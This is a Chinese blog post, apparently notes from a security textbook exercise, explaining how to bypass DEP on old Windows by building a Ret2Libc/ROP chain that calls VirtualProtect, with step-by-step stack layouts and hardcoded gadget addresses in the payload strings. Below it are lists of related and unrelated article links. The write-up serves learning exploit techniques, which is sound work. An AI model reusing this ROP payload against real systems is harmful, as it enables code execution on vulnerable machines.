这几天做了NSCTF和GCTF,耽误了几天,今天继续。

  这次绕过DEP的方法是利用VirtualProtect函数将shellcode所在的内存属性改成可执行状态就可以绕过DEP了。

  首先看一下VirtualProtect函数的参数说明:

  

  lpAddress: 改变属性的内存起始起止

  dwSize: 要改变属性的内存的起始地址

  flNewProtect: 需要设置的内存的新属性,这里设置为0x40就行,可读可写可执行

  pflOldProtest: 内存原始属性类型保存地址,根据实验书上的意思这里的内存地址只要保证可写就行,其他没要求

  首先看一下VirtualProtectEx函数在内存的位置,在我的机器上地址是0x7c801ae7:

  

  可以看到4个参数的地址是以EBP定位的,所以EBP的地址在堆栈布置中尤为重要。

  首先看一下程序溢出时的堆栈和寄存器情况:

 

  可以看到EIP的地址是0x0012fe0, EBP也被覆盖成了0x90909091,先想到把EBP的值修复,看到ESP的值正常,找push esp; pop ebp 的地址:

"\x90\x90\x90\x90"
"\xff\x38\xf2\x77" //修正ebp
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"

  修正EBP以后重新运行:

  看到已经执行完push esp; pop ebp; retn 4; 现在esp=0x0013febc, ebp=0x0013feb4, 可以看到中间差了8个字节,eip=0x90909093, 也就是0x0013feb4处。现在ebp的值已经确定了,ebp+0x14=0x0013fec8, ebp+0x8=0x0013febc, ebp+0x14和ebp+0x8是需要动态确定的地址,现在esp指向0x0013febc, 让esp指向0x0013fec8的指令首先想到的就是pop r32; pop r32; pop r32; 通过3个出栈到达使esp=0x0013fec8,这样可以将ebp+0x14这个参数设置好;现在的esp正好指向ebp+0x8的位置,也就是改变属性的内存起始起止的lpAddress,可以先将esp向高位移动4字节如何用push esp指令压榨,设置好lpAddress,把esp向下移动4字节的指令是retn指令,因为retn = pop eip; add esp, 0x4。随便找个retn指令的地址填在0x0013feb4就行:

“\x90\x90\x90\x90"
"\xff\x38\xf2\x77" //修正ebp
"\xcb\x2f\x94\x7c" //retn
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"

  程序重新运行,执行完retn指令以后,堆栈:

  

  现在eip=0x90909095, esp=ebp+0xC, 直接push esp, 就可以设置好ebp+0x8, 但是push esp以后直接retn的话会将0x0013fec0弹给eip,则程序会到0x0013fec0取指令,这在DEP没有关闭的情况下显然不能执行,所以书中采用了jmp eax的方法。现在eax=0x0013fdfc, 需要控制eax的值,eax的值指向pop r32; pop r32; pop r32; retn ; 指令的地址就可以顺利到达比ebp+0x14高4字节的位置。如何将pop3的指令地址给eax, 注意刚开始发生溢出时eip=0x90909092, esp在eip的高位4字节处,故可以这样布置堆栈: 

"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop3 retn

  现在shellcode的流程首先将pop3 retn的地址给eax,在修正ebp, 执行之前的运行流程:

"\x90\x90\x90\x90"
"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" //修正ebp
"\xcb\x2f\x94\x7c" //retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" //push esp jmp eax
"\x96\x90\x90\x90"

  pop eax; retn 后,esp指向retn的地址,eip指向修正ebp的地址,从而执行之前设置好的运行流程。由于在修正ebp之前加了2个地址,导致ebp的地址发生了变化,看看经过了pop pop pop之后堆栈和寄存器的情况

  push esp; jmp eax; 指令将0x0012fec8这个地址压入了ebp+0x8之后,跳转到eax的地址执行,eax指向pop pop pop 的地址,经过3次pop之后,esp最终指向ebp+0x14,在经过一次retn之后,将ebp+0x14指向的地址赋给eip,同时esp向高址移动4字节,接下来一个push esp的指令就可以成功设置ebp+0x14的参数,这里唯一需要注意的是查找3次pop指令时不能修改esp和ebp的值。所以在执行完pop pop pop retn之后,接下来执行push esp指令,push esp执行完以后,此时esp指向ebp+0x14,需要增大esp的值,因为在执行VirtualProtectEx需要进行压栈操作,不能破坏esp+0x8--esp+0x14的堆栈区域,很巧妙的一点就是可以继续利用之前的push esp; jmp eax的指令,push esp结束布置好VirtualProtectEx的参数以后,执行pop pop pop retn指令,可以将esp向高址移动16个字节,不至于影响已经布置好的堆栈。

"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" // 修正ebp
"\xcb\x2f\x94\x7c" // retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\xff\x00\x00\x00"
"\x40\x00\x00\x00"
"\xc6\xc6\xeb\x77" // push esp jmp eax

  第二次执行完pop pop pop retn以后,就可以跳到VirtualProtect的入口处,最终的shellcode布置:

"\xcd\x4f\xc0\x77" // pop eax retn
"\x19\x29\x92\x7c" // pop pop pop retn
"\xff\x38\xf2\x77" // 修正ebp
"\xcb\x2f\x94\x7c" // retn
"\x94\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\xff\x00\x00\x00"
"\x40\x00\x00\x00"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xd9\x1a\x80\x7c" // VitualProtect

                                                2015/9/27

                                                                                                          11:49

Ret2Libc 练习(2) -- VirtualProtect的更多相关文章

  1. OD: DEP - Ret2Libc via VirtualProtect() & VirtualAlloc()

    一,通过 VirutalProtect() 修改内存属性绕过 DEP DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中 ...

  2. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

    利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

  3. OD: DEP & Ret2Libc

    Data Execution Prevention,数据执行保护,专门用来弥补计算机对数据和代码混淆这一天然缺陷. DEP 的原理是将数据所在的内存页(默认的堆.各种堆栈页.内存池页)标记为不可执行, ...

  4. Ret2Libc 练习(1) -- ZwSetInformationProcess

    花了两个小半晚上的时间将0day安全这本书的绕过DEP的第一个实验做了,这里做些笔记. Ret2libc 我现在自己的理解就是在开启DEP保护的情况下,在程序的其他的可执行位置找到可以满足我利用要求的 ...

  5. 黑窗口输入确定数字弹MessageBox(VirtualProtect())

    今天有人说到这个就想的弹一下,刚开始弄了一下,发现内存访问有问题想到可能与读写保护有关,所以用了VirtualProtect函数,得到了正确结果 网上这个小东西我自己没发现,就贴一下.. void m ...

  6. 缓冲区溢出基础实践(一)——shellcode 与 ret2libc

    最近结合软件安全课程上学习的理论知识和网络资料,对缓冲区溢出漏洞的简单原理和利用技巧进行了一定的了解.这里主要记录笔者通过简单的示例程序实现缓冲区溢出漏洞利用的步骤,按由简至繁的顺序,依次描述简单的 ...

  7. Linux下利用Ret2Libc绕过DEP

    Linux下利用Ret2Libc绕过DEP ⑴.  原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...

  8. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  9. Rop实战之利用VirtualProtect绕过DEP

    CVE-2011-0065 Firefox mChannel UAF漏洞 为了实现任意代码执行,需要在mChannel对象释放后,用可控数据“占坑”填充它,因此,可在onChannelRedirect ...

随机推荐

  1. java.io.IOException: Cannot run program "jad"

    今天调试google tag manager, 需要看看google analytics source code,无奈没有源码,装个一个插件ejad 还是不行: java.io.IOException ...

  2. Java InMemoryCache

    package pay.infrastructure.helper; import org.apache.commons.collections.MapIterator; import org.apa ...

  3. 关于.NET 的邮件发送类

    .NET 类库中已经有现成的封好的类库了,只要引用System.Net.Mail命名空间即可实现发邮件的功能 以下是代码 public class SendMail { private string ...

  4. NSLOG打印不全的问题

    #ifdef DEBUG #define NSLog(FORMAT, ...) fprintf(stderr, "%s:%zd\t%s\n", [[[NSString string ...

  5. 安全协议系列(二)----CCM与CCMP

    CCMP(CTR with CBC-MAC Protocol) 是 IEEE 802.11i 中推出使用基于 AES 的 CCM 模式的安全加密协议.与原来脆弱的 WEP 算法及临时补救措施 TKIP ...

  6. TOMCAT运行一段时间后网页无响应或连不上,TOMCAT无错误日志

    解决方法:修改 tomcat 的 java options 参数1)增加java options参数-Xmn384m-XX:MaxPermSize=128m-XX:+UseConcMarkSweepG ...

  7. C# 3D效果饼状图的绘制

    第一步:放置图表控件 拖动工具栏的Chart控件到界面上 然后选中控件,设置Series属性,将ChartType属性改为pie 第三步:设置3D效果 选择控件,设置ChartArea属性,如下 设置 ...

  8. HTML 样式属性

    @charset "utf-8"; /* CSS Document */ <style> p{ /*背景与前景*/ background-color:#000;/*背景 ...

  9. windows核心编程---第九章 同步设备IO与异步设备IO之同步IO

    同步设备IO 所谓同步IO是指线程在发起IO请求后会被挂起,IO完成后继续执行. 异步IO是指:线程发起IO请求后并不会挂起而是继续执行.IO完毕后会得到设备的通知.而IO完成端口就是实现这种通知的很 ...

  10. js 闭包演示

    function test2() { var scope = "global scope"; var f = enclose(scope); scope = 'aaa'; aler ...